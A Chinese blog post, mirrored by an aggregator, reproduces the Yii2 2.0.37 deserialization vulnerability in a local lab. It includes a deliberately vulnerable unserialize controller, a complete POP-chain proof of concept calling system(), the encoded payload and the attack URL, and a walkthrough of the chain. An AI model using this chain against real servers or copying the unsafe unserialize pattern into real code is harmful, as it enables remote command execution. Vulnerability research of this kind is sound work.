0

yii2反序列化漏洞复现

 1 year ago
source link: https://sn1per-ssd.github.io/2022/07/29/yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

yii2反序列化漏洞复现

阅读数:2824次

2022-07-29

字数统计: 889字

  |   阅读时长≈ 4分

经典老洞之yii反序列化,比赛常客

php7.2

yii 2.0.37

phpstorm

xdebug3

  1. 先往config/web.phpcookieValidationKey中随便赋一个值
images-202207291526.png
  1. 然后根据需求更改端口和ip,(默认端口8080被bp占用,加上我的bp抓不到localhost和127.0.0.1的包,所以改了IP和端口)

console/controllers/ServeController.php中,

52行public function actionIndex($address = '192.168.43.222')修改ip(热知识,如果这里绑定的是localhost,那么用127.0.0.1也访问不了),

33行public $port = 8083修改端口

  1. 添加存在反序列化操作的控制器:
<?php 
namespace app\controllers;
use Yii;
use yii\web\Controller;

class TestController extends Controller
{
public function actionTest(){
$name = Yii::$app->request->get('unser');
return unserialize(base64_decode($name));
}
}
?>
  1. 还有配置xdebug和phpstorm,这个就不细说了。

值得注意的是xdebug3和xdebug2中部分配置名称进行了变更,我的xdebug3的配置如下:

[xdebug]
xdebug.mode=debug
xdebug.client_host=192.168.43.222
xdebug.client_port=9005
xdebug.remote_handler=dbgp
xdebug.start_with_request=yes
xdebug.idekey="PHPSTORM"

需要根据不同的xdebug版本进行配置

进入命令行输入php yii serve,命令下方出现访问地址和网站根目录的位置,即成功部署。(有点像workman)

先上poc

<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls -al';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

输出poc如下:

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ==

payload?r=test/test&unser=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ==

反序列化的链子如下:

yii\db\BatchQueryResult::__destruct()
->
Faker\Generator::__call()
->
yii\rest\CreateAction::run()

在进行反序列化之后,由于反序列化的是实例化对象,而没有找到类所在的文件,所以会调用autoload函数,再根据命名空间等传入classname,并对相应的类文件进行文件包含。

images-202207301503.png

经过包含类文件,反序列化后由于其进行类实例化,便可以执行相应的魔术函数。

在poc中,我们跳转到db/BatchQueryResult.phpBatchQueryResult类,在魔术方法中,而由于其可控所以又进行了一次实例化。

images-202207301613.png

由于src/Faker/Generator.phpGenerator类不存在close(),所以自动调用了__call方法。

class Generator
{
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
}

而且从上面可以知道,我们从this->format()this->getFormatter(),参数都是可控的,所以我们可以执行任意类的任意方法。

利用seay代审工具即可找到所有可执行命令或执行函数的方法。

poc中以yii\rest\CreateAction::run()举例。

    public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}

/* @var $model \yii\db\ActiveRecord */
$model = new $this->modelClass([
'scenario' => $this->scenario,
]);

$model->load(Yii::$app->getRequest()->getBodyParams(), '');
if ($model->save()) {
$response = Yii::$app->getResponse();
$response->setStatusCode(201);
$id = implode(',', array_values($model->getPrimaryKey(true)));
$response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));
} elseif (!$model->hasErrors()) {
throw new ServerErrorHttpException('Failed to create the object for unknown reason.');
}
return $model;
}
}

参考链接:https://xz.aliyun.com/t/8307


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK